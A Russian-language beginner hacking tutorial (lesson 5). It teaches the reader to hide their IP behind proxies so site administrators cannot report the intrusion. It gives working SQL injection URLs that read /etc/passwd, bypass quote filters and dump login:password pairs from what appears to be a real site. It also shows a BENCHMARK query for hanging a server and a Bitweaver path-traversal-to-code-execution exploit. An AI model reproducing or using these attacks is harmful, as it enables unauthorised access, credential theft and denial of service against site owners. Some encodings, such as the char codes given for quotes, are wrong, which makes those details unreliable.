Урок 5
[ Хакерство для новичков ]
Вступление.
Привет. Вот и пришло время 5 урока «Основ хакерства».
В этой части я хотел бы уделить внимание нашей безопасности.
Наверное это нужно было разобрать немного раньше. Ведь
данный аспект является очень важным.
Так же в этом уроке я начну повествовать об анализе php
движков.
Еще мы разберем такую тему, как DoS/DDoS. Напоследок
дебютирует новый топик «Прогулка по багтракам»
Cоntent:
Безопасность при взломе.
Установка движка и азы анализа
DoS и DDOS общие принципы.
Sql injection
Прогулка по багтракам.
Безопасность при взломе.
Это действительно важно.
Если администратор сайта обнаружит твой реальный ip адрес,
он без проблем сможет сообщить о проникновении твоему
провайдеру.
А дальше как повезет.
Итак, сначала стоит разобрать, как сохраняются твои данные.
Логи ведет веб сервер. Он записывает фактически все
телодвижение пользователей.
Вот например если в логах будет замечена такая строка:
65.234.112.11-
- [13/Jan/2019:14:23:57 +0300] "GET /scripts/photo?id=1’ " 404 -
"-" "-"
Сразу станет ясно что пользователь с адресом 65.234.112.11
пытался проверить параметр id на инъекцию.
Вообще нам важны логи ошибок (ErrorLog) и основные логи.
В ErrorLog хранятся данные ошибочных запросов. В
httpd.conf(файл конфигурации веб сервера)
путь к ним можно найти по директиве ErrorLog.
В основном логе находятся все запросы к серверу. Его можно
найти по директиве CustomLog.
Ну что ж более или менее понятно.
По сути наша задача это подменить айпи адрес. Ведь именно он
нас палит.
Как факт изменить свой ip нельзя. Но! Его можно скрыть или
ПОДменить.
Каким образом? С помощью прокси серверa.
Прокси-сервер (от англ. proxy — «представитель, уполномоченный»)
— служба в компьютерных сетях,
позволяющая клиентам выполнять косвенные запросы к другим
сетевым службам
Проще говоря, мы сначала будем подключаться к прокси серверу
и уже от туда делать запросы к жертве.
Естественно в логах целевого сайта будет светится айпи
прокси сервера. Так то. Теперь по порядку:
Бывают паблик (публичные) прокси.
Бывают приватные прокси (только для избранных).
Как думаю ясно первые можно легко найти в сети. Со вторыми
сложнее. Если хочешь приобрести такие нужно платить.
Собственно в чем разница то? Паблик прокси медленные, т.к.
их юзает куча народу.
Приватные более быстрые. Вот собственно и все.
Вот несколько источников бесплатных прокси северов:
www.checker.freeproxy.ru/checker/last_checked_proxies.php
www.madnet.name/tools/proxy/
www.proxylife.org/proxy/
Ах да… забыли о главном – как же их использовать?
Натягивать их нужно на свой браузер. Разберем на примере
троих:
InternetExplorer
Opera
FireFox
InernetExplorer:
Нажмите кнопку Сервис и выберите пункт Свойства
обозревателя.
На вкладке Подключения щелкните Настройка LAN.
Установите флажок Использовать прокси-сервер для локальной
сети.
В поле Адрес введите адрес прокси-сервера.
В поле Порт введите номер порта.
Opera:
Выбираем: инструменты настройки
Вкладка дополнительно
Пункт сеть
Кнопка прокси серверы
Указываем на галочку HTTP и вводим прокси и порт.
FireFox
Инструменты – настройки
Вкладка дополнительно
Настроить
Ручная нстройка сервера прокси
Ну, на этом пока все. В будущем расскажу про анонимайзеры и
цепочки прокси.
Установка и анализ движка.
Незаменимым атрибутом веб хакера является умения
анализировать и находить ошибки в php скриптах.
Учиться этому мы начнем уже с этого урока.
Итак, сначала нужно подготовить платформу для тестирования.
Кажется, в прошлой статье я упоминал, что мы будем работать
с Денвером.
Денвер это набор дистрибутивов (Apache, PHP, MySQL, Perl и
т.д.) и программная оболочка.
Все дело в том, что для его установки не нужно производить
практически не каких телодвижений
(в отличии от отдельной установки php apche mysql), но зато
теряется гибкость.
Итак, вам нужно скачать denwer и установить его.
Платформу можно считать готовой На примере wordpress 2.3
я покажу, как установить движок.
Итак, после скачивания нужно создать в папке home (Денвера)
директорию bugsite11.us
Далее распаковать в эту папку скачанный пакет.
Теперь необходимо создать базу данных. Для этого нужно зайти
в phpmyadmin.
Если Денвер запущен, пройдите по этому пути
http://localhost/Tools/phpmyadmin/index.php
Далее в поле «Создать новую базу данных» введите wordpress и
нажмите создать. Все.
Теперь переходи по адресу bugsite11.us. Если все было
сделано правильно вы увидите главную страницу инсталлятора wordpress.
Пройдите несколько шагов. Когда потребуется ввести данные в
поле база данных нужно ввести wordpress в поле пользователь – root, поле пароля
оставляем пустым. Сервер – localhost. Все. Теперь можете перейти по адресу
bugsite11.us и вы увидите готовенький для
тестинга сайт на локалхосте.
Как видите установить двиг не сложно. Теперь по делу.
Сейчас я поведаю чисто поверхностную информацию об анализе
скриптов.
Во-первых - прежде чем изучать код скрипта нужно проверить
его в работе. Собственно для этого мы и ставили denwer.
Во вторых – чуть ли не ключевым аспектом при поиске
уязвимостей является понимание структуры CMS (или что там мы ставили).
Разбираться лучше всего от начальной страницы (почти всегда
index.php). В ней часто выполняются подключение, каких то модулей.
И так по порядку нужно изучать работу скриптов. Кстати, в
изучении вам может помочь документация к скрипту.
Если таковая отсутствует можно поискать в Интернете какую
либо информацию.
В-третьих – очень часто придется производить поиск по исходному
коду. Так что желательно обзавестись
нормальным текстовым редактором. Я предлагаю Notepad++.
Ну и в четвертых нужно обязательно заглядывать на сайт
разработчика. Там можно найти доки, информацию
об уязвимостях в предыдущих версиях и вообще много полезной
информации.
На этом я закончу. Хочу что бы вы потренировались в
установке движков на localhost. В следующем уроке мы
потихоньку начнем разбирать основные ошибки php
программистов.
DoS и DDOS общие принципы.
Бывает, что нужный нам сайт недоступен. Браузер говорит нам,
что сервер не отвечает.
Это может происходить вследствие DDOS атаки на сервер.
Немного понятий:
DoS - Denial of Service – отказ от обслуживания. На самом
деле это не атака, а результат атаки.
По сути DoS происходит из-за ошибок в программном коде либо
недостаточной проверки входных данных.
Например, на сервере висит FTP демон. Входные данные от
пользователя (например логин) не проверяются
на правильность. Т.е. пользователь может ввести любое кол во
символов. Довольно типичная ошибка.
Вот например еще уязвимость в SolarWinds TFTP Server
9.2.0.111
www.securitylab.ru/vulnerability/384458.php
Ошибка может возникнуть при обработке при обработке TFTP
пакетов.
Кстати есть довольно известный способ как можно «подвесить»
сайт с помощью sql injection:
http://www.example.com/index.php?id=1+BENCHMARK(100000,
BENCHMARK(10000, NOW()))
Функция BENCHMARK повторяет действия указанное во втором
аргументе количество раз указанное в аргументе параметре.
Функция NOW() показывает текущее время. Т.е. можно
прикинуть, как мы загрузим сервер.
Вместо now можно подставить функцию вроде md5().
DDoS – очень часто путают с DoS. Тут расклад немного другой.
Смысл этой атаки именно
в «затапливании» сервера огромным количеством запросом, до
тех пор, пока сервер не исчерпает свои ресурсы закончиться память
Как ясно с одного компьютера такое не сделаешь. Именно
поэтому хакеры составляют ботнет с которого они могут топить сервер запросами.
Ботнет это энное количество компютеров с установленной
троянской программой, через которую взломщик может контролировать каждый
компьютер.
Ну вот. Если тебя заинтересовала эта тема, могу подкинуть
несколько статеек:
www.internet-technologies.ru/articles/article_436.html
www.cyberguru.ru/networks/network-security/botnet-page7.html
www.fssr.ru/hz.php?name=News&file=article&sid=9384
SQL
injection
Обход
magis_quert
concat_ws и удобный вывод.
На прошлом уроке мы говорили о такой вещи как магические
кавычки. Я в общем рассказал что это.
Сейчас мы разберем как можно обойти эти самые кавычки.
Во-первых, можно использовать функцию char. Эта функция
преобразовывает ASCII (аск) код в символы.
ASCII код это код символа. У каждого символа есть свой код.
Например, у символа одинарной кавычки код 27.
Таблицу кодов можно найти здесь
Итак, функция char преобразовывает эти коды в символы, т.е.
например:
Char(27,27)
Вернет нам две одинарные кавычки.
Кстати зная коды символов можно сделать так:
Зажать клавишу alt и набрать 0 и код символа.
Например, alt+077 выведет нам букву M.
Так же можно выводить некоторые специфические знаки вроде
знака копирайта – alt+0169)
Вернемся к нашим скулям:
www.site.us/index.php?id=+union+select+1,LOAD_FILE(‘/etc/passwd’),4,5,6,7,8,9,10/*
Если ты забыл, то мы пытаемся загрузить файл /etc/passwd
(файл со списком аккаунтов)
Часто кавычки режутся. А что если сделать так:
www.site.us/index.php?id=+union+select+1,LOAD_FILE(char(27,47,101,116,99,47,112,97,115,119,100)),
4,5,6,7,8,9,10/*
Кавычки закодированы, значит все ок.
Еще можно обойти фильтрация путем замены исходной строки
аналогичной ей, только в хекс(hex) варианте (в шестнадцатеричном варианте).
Причем перед строкой нужно подставить знак 0x. Смотрим на
примере:
Берем исходную строку '/etc/passwd'. Опять же идем на сайт
www.x3k.ru выбираем раздел SQL Hex и вписываем строку
На выходе 0x5c272f6574632f7061737377645c27
В нашем примере это будет так:
www.site.us/index.php?id=+union+select+1,LOAD_FILE(0x5c272f6574632f7061737377645c27),4,5,6,7,8,9,10/*
concat_ws.
Для лучшего понимания возьмем реальный пример:
http://www.photoworld.kz/index.php?mod=photos&cathid=-25+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,
32,33,34,35,36+from+auth--+
Видим, что только одно читабельное поле – 2. Скажу наперед,
что поле логина – login, а пароля – pwd.
Итак, наша задача скомбинировать эти два поля и вывести в
удобном виде. Делается это с помощью функции concat_ws:
concat_ws(0x3a,login,pwd)
Первый аргумент это разделитель между полями. 0x3a записан в
sql hex, в ASCII это будет : (знак двоеточия), т.е. вывод произойдет такой:
Login:pwd
Вот еще пример:
concat_ws(0x2d,login,pwd)
0x2d означает тире (-)
Login-pwd
А вот как это будет выглядеть в нашем случае:
http://www.photoworld.kz/index.php?mod=photos&cathid=-25+union+select+1,concat_ws(0x3a,login,pwd),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,
22,23,24,25,26,27,28,29,30,31,32,33,34,35,36+from+auth--+
По сути, польза не большая, но так удобней и изящней. Мы ж
эстеты =)
Так с этим ясно. Что дальше? В следующем уроке я расскажу о
записи файлов с помощью инжектов.
И наверное, на этом покончу повествования об основах. Т.к.
далее продолжать бессмысленно. В Интернете очень много статей об этом,
а азы вы уже знаете. В уроках я буду рассказывать о каких то
нестандартных ситуациях, более подробно о языке mysql и тому подобные вещи.
А сейчас продолжаем...
Прогулка по багтракам.
Еще немного об этом топике:
Суть в том, что я буду выкладывать некоторые интересные
уязвимости с багтраков.
Так сказать примеры нахождения уязвимостей. Что это даст?
Самое главное это понимание сути проблемы. Начнемсс...
Уязвимость CMS Bitweaver 2.6
www.securitylab.ru/vulnerability/380079.php
Итак, уязвимость найдена в CMS Bitweaver 2.6.
Бага позволяет нам создавать произвольные файлы в системе.
посмотрев сплоит, понимаем что:
Уязвимость присутствует в сценарии boards_rss.php - строка
102:
...
echo
$rss->saveFeed( $rss_version_name, $cacheFile );
…
В этом куске функция saveFeed вызывается небезопасно.
Аргументы не проверяются и могут содержать символы обхода
каталога ../(см урок 3)
Данные получаются так:
Переменная=$_REQUEST['version']
Теперь посмотрим собственно на саму функцию saveFeed в /RSS/
feedcreator.class.php
...
function
saveFeed($filename="", $displayContents=true) {
if
($filename=="") {
$filename =
$this->_generateFilename();
}
if (
!is_dir( dirname( $filename ))) {
mkdir(
dirname( $filename ));// создаем каталог
}
$feedFile =
fopen($filename, "w+"); // открываем файл для записи (w+)
if
($feedFile) {
fputs($feedFile,$this->createFeed());
пишем в файл информацию
fclose($feedFile);//
закрываем файл
if
($displayContents) {
$this->_redirect($filename);
}
} else {
echo "
Error
creating feed file, please check write permissions.
";
}
}
}
...
Тут попросту происходит сохранение файла.
Постараюсь объяснить функции, приведенные в этом коде:
dirname – возвращает каталог из указанного пути. Например,
есть путь /home/hockfuke/text.c
Функция вернет /home/hockfuke/
is_dir – проверяет является ли файл каталогом.
Mkdir – создает каталог
Fopen – открывает файл
Fputs – пишет в файл.
Теперь собственно сам пример использования:
http://sitename/path/boards/boards_rss.php?version=/../../../../bookoo.php%00
С NULL байтом вы уже знакомы, он обрубает остальную часть
запроса.
Параметр version мы как раз получали с помощью $_REQUEST.
Собственно ясно, что будет создать файл heck.php. Функция
сохранения файлa была приведена выше.
Как помним наш подопытный это rss скрипт. Созданный файл будет
таким:
[?xml version="1.0" encoding="UTF-8"?]
[!--
generator="FeedCreator 1.7.2" --]
[?xml-stylesheet
href="http://www.w3.org/2000/08/w3c-synd/style.css"
type="text/css"?]
[rss
version="0.91"]
[channel]
[title>
Feed[/title]
[description][/description]
[link]http://192.168.0.1[/link]
[lastBuildDate]Sat,
09 Sep 2009 20:01:44 +0100[/lastBuildDate]
[generator]FeedCreator
1.7.2[/generator]
[language]en-us[/language]
[/channel]
[/rss]
[/code]
Собственно нам то нужно выполнить код. Вот что заметили багоискатели:
Для выполнения кода можно создать учетную запись на сайте и
в Display Name (ну имя) вписать код:
[?php system("ls –al");?]
system выполняет команду в системе.
Теперь делаем так:
http://host/path_to_bitweaver/boards/boards_rss.php?version=/../../../../bookoo_ii.php%00&U=юзернэйм&P=пароль
На сервере появится тот же файл но уже вместо [title] Feed
[/ TITLE] будет [title] Feed ([?php system("ls –al");?>[/TITLE].
Подведем маленький итог. Ошибка заключался опять же в
отсутствии фильтрации.
Из-за чего можно у нас появилась возможность создать
собственный файл и выполнить в нем код. Т.к. displayname тоже не проверялось.
Конец.
Ну вот подошел к концу 5 урок.
Сегодня я приводил много исходных кодов. Хочу, что бы вы
поняли, что это основа.
И уметь программировать просто необходимо.
Что дальше? Думаю, на следующем уроке мы продолжим
знакомиться с анализом движков.
Так же я расскажу еще кое-что о твоей безопасности. На этом
все.
Все уголковые скобки заменены на [ and ]
Ссылки:
www.denwer.ru – сайт Денвера
Неплохая статейка про sql injection
http://www.xakep.ru/post/49508/default.asp
http://hackzona.ru/hz.php?name=News&file
|